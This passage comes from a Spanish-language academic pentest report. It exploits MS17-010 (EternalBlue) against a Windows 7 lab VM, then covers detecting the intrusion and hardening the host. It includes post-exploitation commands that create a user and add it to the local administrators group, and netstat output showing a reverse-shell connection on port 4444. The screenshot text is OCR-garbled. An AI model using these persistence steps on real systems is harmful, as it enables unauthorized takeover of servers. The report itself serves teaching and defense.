Ir a la pagina principal de Cuentas de usuario

Equipg

B okl il 8@ @l cm omeca

Figura 15. Verificacion de usuarios

Se procede a verificar modo comando los usuarios existentes, mediante comando

net user.
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Luego mediante los siguientes comandos se crea el usuario y se adiciona al grupo

de administradores locales.

e Net localgroup FerneyVelandia 12345678 /add (Crea usuario con
contrasefa)

e Net localgroup administradores FerneyVelandia /add (Adiciona el nuevo
usuario al grupo local de administradores)

) Kali - Seminario [Corriendo] - Oracle VM VirtualBox

Archive Maquina Ver Entrada Dispositives  Ayuda
,Q | - E| »-l [E Terminalnro. 1 10:03PM O o) A © ‘ a8 {
i - O x

Archivo Acciones Editar Vista

ting free hole adjacent to ¢

Figura 16. Creacion de usuarios con privilegios

Se procede a verificar graficamente y se constata la creacidon de un nuevo usuario

con privilegios de administrador.
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Figura 17. Verificacion grafica de usuario creado

Con esto se puede demostrar una prueba de concepto (PoC) a los altos directivos
demostrando el nivel de criticidad de las vulnerabilidades halladas en la maquina
virtual, al permitir la creacion de forma remota usuarios con privilegios tan altos que

puede tomar control del servidor y expandir en la red software malicioso.
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4 FALLOS DE SEGURIDAD

En lo revisado en el anexo, deja en claro que los niveles de actualizaciones eran
deficientes, y que la ultima actualizacion de fue realizada el 5 de febrero de 2017 y
la fuga de informacion fue presentada el dia 10 de junio de 2022. Esto deja ver una
clara falla de seguridad al tener equipos con un alto grado de desactualizacion de
mas de 3 afios. Con esto y junto a la deteccion de la vulnerabilidad CVE-2017-0143
gue salié ese mismo afio en 2017 relacionado a fallas de seguridad en el protocolo
SMBV1 justo cuando se dejo de actualizar el sistema operativo muestra una fuerte
brecha y causa probable que permitio la fuga de informacion.

Otro factor importante que ayudo a identificar el fallo de seguridad, es lo mencionado
principalmente el protocolo SMBV1. El tener software que no permite migracion en
la empresa se convierte en foco de inseguridad al interior de las infraestructuras que
soportan los servicios y aplicaciones en las organizaciones. Segun el anexo, este
sistema operativo que ya de por si no cuenta con soporte de fabricante debido a su
obsolescencia se le de sumar la obsolescencia del software utilizado por la empresa
para su operacion. Esto obligé al uso de recursos compartidos e impresoras
mediante el protocolo SMBV1 siendo el factor determinante para perpetrar el ataque,
mediante el uso del exploit EternalBlue el cual facilito el ejercicio para comprobar la

fuga de informacién.?°

4.1 AFECTACIONES DEL ATAQUE

Basicamente el fallo de seguridad permite la ejecucion de EternalBlue, que a su vez

es un exploit que se ejecuta aprovechando las vulnerabilidades del SMBv1, el cual

20 Avast.com. ¢ Qué es EternalBlue y por qué el exploit MS17-010 sigue siendo relevante? [En linea],
Recuperado de: https://www.avast.com/es-es/c-eternalblue

34



se encuentra en varios sistemas operativos como Windows vista, 7, 8.1, 10, 2008,
2012 y 2016. Para ello Microsoft lanzo paquete se seguridad MS17-010 para
corregir y evitar la vulnerabilidad. También ademés deshabilito por defecto SMBv1
de los sistemas operativos Windows 10 y Windows server 2012 y 2016.

La forma de operar es insertar paquetes o datos maliciosos en la maquina destino
o vulnerable, y el malware se propaga en la red produciendo un ciberataque, EL
registro de la vulnerabilidad y exposiciones comunes a la cual esta registrada esta

vulnerabilidad en la base de datos nacional se conoce como CVE-2017-0144.

Este exploits es muy usado para propagar los llamados Rasonware WannaCry y

Petya, pero es usado en general para desplegar cualquier tipo de ciberataque.

5 DETECCION DEL ATAQUE

Frente a un ataque real, lo ideal es identificar los actores dentro de la red que estén
causando ataques, tanto al atacante como a los equipos afectados para tratar de
contener el ataque. Para ello lo primero seria generar un escaneo de la red para
identificar los equipos conectados e identificar algin equipo sospechoso por
ejemplo por su nombre dentro de la red, tipo de sistema operativos entre otras
cosas, tales que me ayuden a identificar algo inusual dentro de la red. Debido a que
el ejercicio no indica que es posible el uso de herramientas especializadas y que no
las hay dentro de la organizacién, no es posible identificar trafico inusual dentro de

la red.

Para lo cual se sugiere el escaneo de la red como primera medida, y tratar de
identificar maquinas sospechosas. Para el ejercicio utilizariamos herramientas

gratuitas como Advanced IP Scanner.
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Con estas herramientas realizamos un inventario en linea de los dispositivos
conectados a la red para posteriormente identificar si alguno de ellos es quien esta

realizando operaciones sospechosas o ataques en la red.

,g"? Advanced IP Scanner

Archive Vista Configuracion  Ayuda

’ Explorar _IcP _g g:

|192.168.1.1-254, 192.168.129.1-254, 192.168.200.1-254, 192.168.56.1-254 | |Buscar je |

Lista de resultados Favaritos

Estado MNombre P Fabricante Direccion MAC Comentarios

Q- gpon.net 192.168.1.1 zte corporation ChodAD:26:FT:22
E- 192.168.1.2 192.168.1.2 Intel Corporate CC:2RT71:C1:ARBB
Q- 192,168.1.3 192,168.1.3 ARALTATHCDM
E- 182.168.1.4 192,168.1.4 C6:6F:5D:3FDE:2E
E- 192.168.1.5 192.168.1.5 AE:BO:6F:AA:05:A8
E- DESKTOP-ROQIO96 192.168.1.6 Hewlett Packard B AG3E 42063
E- 192.168.1.7 192.168.1.7 Arcadyan Corporation CC:D4:2E: D6 CB:02
E- 192.168.1.8 192.168.1.8 TP-Link Corporation Limited B0:ALBT:F1:T1:26
Q- 182.168.1.10 192,168.1.10 PCS Systemtechnik GmbH 08:00:27:1F:41:01
E- PC202008 192,168.1.12 PCS Systemtechnik GmbH 08:00:27:92:30:C0
Q- 182.168.56.1 192.168.56.1 04:00:27:00:00:17
E- 182,168.128.1 192,168.129.1 VMware, Inc, 00:50:56:C0:00:08
Q- 182.168.125.254 192,168.129.254 Viware, Inc. 00:50:56:EC:F3:2D
[ 182,168.200.1 192,168.200.1 VMware, Inc, 00:50:56:C0:00:01
E- 192,168.200.254 192,168.200.254 VMware, Inc., 00:50:56:EE: C&E9

14 activo, 1inactive, 1001 desconocide

Figura 18. Herramienta de andlisis de red.

También identificamos los equipos con vulnerabilidades que puedan ser explotadas
y permitir el ataque de seguridad, ara ello como en anterior fase mediante
herramientas como Nmap permite el escaneo de los dispositivos en basqueda de
vulnerabilidades. Para el ejercicio se identifica la vulnerabilidad MS17-010 que

permite la ejecucion de codigo remoto como se muestra a continuacion.
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Figura 19. Deteccion de vulnerabilidades.

Identificado ese equipo, desde su sistema operativo mediante la consola de
comandos DOS, podemos ver las conexiones activas identificando su origen
mediante el comando “netstat -aon -p tcp 04”, donde podemos observar la Ip
origen del servidor Kali Linux desde se objet6 el ataque para el laboratorio, en la

siguiente imagen.
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Ver actu .A.8.@: .8.8.@: LISTENING
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192. .1.12: . . CLOSE_UAIT (7]
192. - : . N H CLOSE_UAIT -
192. - . 1.18: ESTABLISHED .
ala el
Conexiones actiwvas 020
Proto Direccidn Direccidn remota Estado 12020
TCP A.8.8.8:13 .8.8.8:8 LISTENING 020
8.8.8.8: -8.8.8:8 LISTEMING 4
A.8.8.8: .A.8.8:A LISTENING 2020
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A.8.8.0: .A.A.8:4 LISTENING
8.8.8.8: .8.8.8:8 LISTENING
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3.8.9.9:49153 .8.8.8:8 LISTENING
A.8.0.0:49154 .8.8.8:8 LISTENING
B.0.0.08:49155 .68.8.8:8 LISTENING
A.8.0.0:49157 .8.8.8:8 LISTENING
0.0.0.0:49177 .68.8.8:8 LISTENING
168.1.12:139 .8.8.8:8 LISTENING
.1.12:2869 .168.1.1@:552%6 CLOSE_UAIT
168.1.12:2869 - -1.18:55342 CLOSE_MAIT
.1.12:49178 - .1.18:4444 ESTABLISHED
Ll I 2

—— Programas actualmente instalados Tamafio total: 199 MB
} 4 programas instalados
L¥

O - 0 ¢ &= Ay !

& & B iR G @ &) cTry DERECHA

Figura 20. Identificacién de conexiones establecidas.

Como se observo en la figura anterior, se pudo identificar la Ip que posteriormente
podemos cruzar con los datos de la organizacién para identificar si es una Ip
permitida o se trata de un atacante. Posterior a la identificacion procedemos a
bloguear el dispositivo, para ello es importante contar con dispositivos avanzados
que permitan esta clase de acciones como firewall o algun sistema de deteccién de

intrusos que permitan actuar de manera rapida y eficiente.
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5.1 MEDIDAS DE HARDERIZACION.

A continuacion, se describen las medidas sugeridas para la mitigacion de riesgos

para el ataque presentado.

Firewall del sistema operativo. En revision del tema se encontré que el firewall se
encontraba desactivado, de modo que permitié el facil acceso al atacante, y como

primera medida es necesario la activacion del mismo.

Fi Win7-SE2020-X64 [Corriendo] - Oracle VM VirtualBox
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=N -l =

@@v|ﬂ' « Todos los elementos de Panel de control » Firewall de Windows - | 3 | | Buscar en el Panel de control P |

@

Yentana principal del Panel de

control Ayude a proteger su equipo con Firewall de Windows

Firewall de Windows ayuda a impedir que hackers o software malintencionado obtengan acceso al equipo

Permitir un programa o una .
prog a través de Internet o de una red.

caracteristica a través de

Firewall de Windows ;Como me ayuda un firewall a proteger mi equipo?
B Cambiar la configuracién de ;Qué son las ubicaciones de red?
notificaciones P N g —
=sti j i o conectado (%)
& Activar o desactivar Firewall de . @ Redes domeésticas o de trabajo (privadas) &
Windows - —
. @ Redes publicas Conectado (~)
@ Restaurar valores

predeterminados . i
) _ Redes en lugares piblicos como aeropuertos o cafeterias
f@' Configuracién avanzada

Selucign de problemas de red Estado de Firewall de Windows: Activado
Conexiones entrantes: Bloquear todas las conexiones a los programas que
no estén en la lista de programas permitides
Redes publicas activas: = Red 2
Estado de notificacidn: Notificarme cuando Firewall de Windows bloquee

un nuevo programa

Vea también P Conexiones de red
Centro de actividades ‘ “ Firewall de Wind

Centro de redes y recursos .
compartidos izl Programas y caracteristicas

B - © e =]

Figura 21. Activacion de firewall de Windows.

05:00 p.m.

S O nomn ||

(= & | =i 8@ ) crberEcHA

39



Antivirus. Como segunda medida se evidencio que el servidor no contaba con un
sistema de proteccion de virus ni antimalware, permitiendo que el atacante pueda
ejecutar codigo malicioso sin ser detectado. Para ello es necesario contar con un

antivirus que perita proteger la informacion contenida en el servidor.

Actualizacion de parches de seguridad. Tal como se enunciaba en el anexo, se
evidencio desactualizacion de parches de seguridad del sistema operativo,
permitiendo la explotacién de la vulnerabilidad MS17-010 con facilidad. Para ello
como recomendacion primordial es necesario aplicar los parches lanzados por el
Microsoft para remediar la vulnerabilidad y asi evitar la explotacion de las

vulnerabilidades como ejemplo la siguiente imagen.

i WinT-SE2020-X64 [Corriendo] - Oracle VM VirtualBox

Archive Maquina Ver Entrada Dispositives  Ayuda
Catalogo de Microsoft Update o IEIIE'
- * —
<« G © & hitps//www.catalog.update.microsoft.com/Search.asp *= & ¢ I O ® =
Lm L e e o s s g pag e e ey e 7
- apr Ultima .- .
Titulo Productos Clasificacién Ew— Versién Tamafio Descargar
actualizacidn
Paquete acumulative de
actualizaciones de calidad
mensual de seguridad Windows Actualizaci —
{marzo de 2017)_para Server 2008 d; s"': 'j:;': d”E‘ 14/03/2017 nid 1455 MEB Descargar
Windows Server 2008 R2 R2 g
sisternas basados en xb4
(KB4012715)

Paquete acumulative de

actualizaciones de calidad Actualizaciones

mensual de seguridad Windows 7 . 14/03/2017 n/d &9.0 MB Descargar
. de seguridad
(marze de 2017) para

Windows 7 (KB4012215)

m

Paquete acumulative de

actualizaciones de calidad

s Eazies Windows7 ~“ctualizaciones o, 000013 nid 1455 MB Descargar
(marze de 2017) para de seguridad e
Windows 7 sistemas

baszados en x64 (KB4012215)

Paquete acumulative de
actualizaciones de calidad

mensual de seguridad Windows Actualizaciones
- - —— Embedded . 14,/03/2017 n/d 9.0 MB Descargar ]
(marzre de 2017) para de seguridad
- Standard 7
Windows Embedded

Standard 7 (KB4012215)

—] O @& =T

{o: & & | B i& G &) cTRL DERECHA

Figura 22. Actualizacion de parches de seguridad.

40



6 VIDEO

A continuacion, se adiciona link de video explicativo de informe técnico.

https://youtu.be/rdTF6PRzZIE
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https://youtu.be/rdTF6PRzZIE

CONCLUSIONES

A menudo la profesién de ingenieros afronta grandes riesgos en el desempefio de
la profesion, apoyados por los grandes avances tecnoldgicos de los ultimos afios.
No obstante, también se enfrenta a situaciones que ponen en riesgo el papel ético
y que ponen a prueba los principios adquiridos durante la carrera. Como toda
profesion, los principios rigen la profesion y para el caso de la ingenieria no es la
excepcion, y mas aun cuando el gobierno colombiano a dispuesto de leyes que
permiten evitar el abuso en lo referente a delitos en contra de la informacion.

A medida que surgen nuevas tecnologias, también surgen nuevos fallos de
seguridad que son aprovechados por ciberdelincuentes. Para ello es importante el
mantenimiento continuo de las mejoras dispuestas por los fabricantes que permiten
mitigar los riesgos que estos fallos representan. Las actualizaciones y parches de
seguridad implican tiempo e inversién que en muchos casos no son aprovechados
por quienes administran los sistemas, y contrario a ello permiten que las brechas de
seguridad ya detectadas y documentadas sean vulneradas por ciberataques.

También es importante emplear métodos y técnicas que permitan ver que tan
asegurada esta la infraestructura tecnologica dentro y fuera de las organizaciones.
Existen empresas dedicadas al testing ético de los sistemas informaticos y de
telecomunicaciones, que permiten a las empresas vera que tan asegurado esta la
infraestructura de la organizacion. Mediante el pentesting no solo es posible detectar
las brechas de seguridad, sino que también al contar con un equipo especializado
en seguridad informatica, podra subsanary corregir los fallos de seguridad. También
es importante entender que estas practicas de pentesting se deben realizar de forma
periodica ya que las tecnologias a diario van cambiando y van surgiendo nuevas
vulnerabilidades.
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RECOMENDACIONES

Las organizaciones deben tener areas encargadas y especializadas en el
aseguramiento de la informacion que garanticen la disponibilidad, asi como su
integridad y confidencialidad de | informacién dentro y fuera de las organizaciones.
Se debe apoyar por practicas peridodicas como pentesting que permiten detectar y
corregir las brechas de seguridad. Asi como definir procedimientos que aseguren el
despliegue y mantenimiento de las infraestructuras de los sistemas informaticos.

Es necesario mantener actualizado nuestro conocimiento de las nuevas
vulnerabilidades que a diario son detectadas por entidades dedicadas a desarrollar
mecanismos de proteccion y identificacion de vulnerabilidades. Debe ser un trabajo
continuo y riguroso a toso los sistemas informaticos, ya que cualquier brecha puede
permitir un ataque masivo a toda una organizacion.

Es importante mantener versiones actualizadas de los sistemas informaticos y velar
por mantener sistemas que tengan contacto con el fabricante para garantizar
actualizaciones y parches de seguridad que sean requeridos. La obsolescencia
permite brechas de seguridad que ante las necesidades de la empresa debido a su
uso y no poder contar con soluciones mas actualizadas o poder migrar a otros
sistemas, son aprovechadas por ciberdelincuentes para perpetrar ataques a las
organizaciones.

Las empresas deben apoyarse con el uso de las tecnologias y personal idoneo que
garantice la seguridad perimetral, seguridad interna de las redes y seguridad en
general de todos los dispositivos utilizados para la operacion de la organizacion. Es
necesario entender que los sistemas de informacion requieren de inversion para su
aseguramiento y que sin ello podra verse afectado e incluso multado por entidades
que vigilan y controlan el aseguramiento de datos confidenciales.

Es importante contar con los respaldos necesarios, para garantizar la continuidad
del negocio dentro de las organizaciones. Los debidos backups y temas de
contingencia permitirin que las organizaciones puedan recuperar y operar
nuevamente en caso tal de un ataque o un inconveniente tecnolégico, esto apoyado
en las buenas practicas de seguridad de la informacion.
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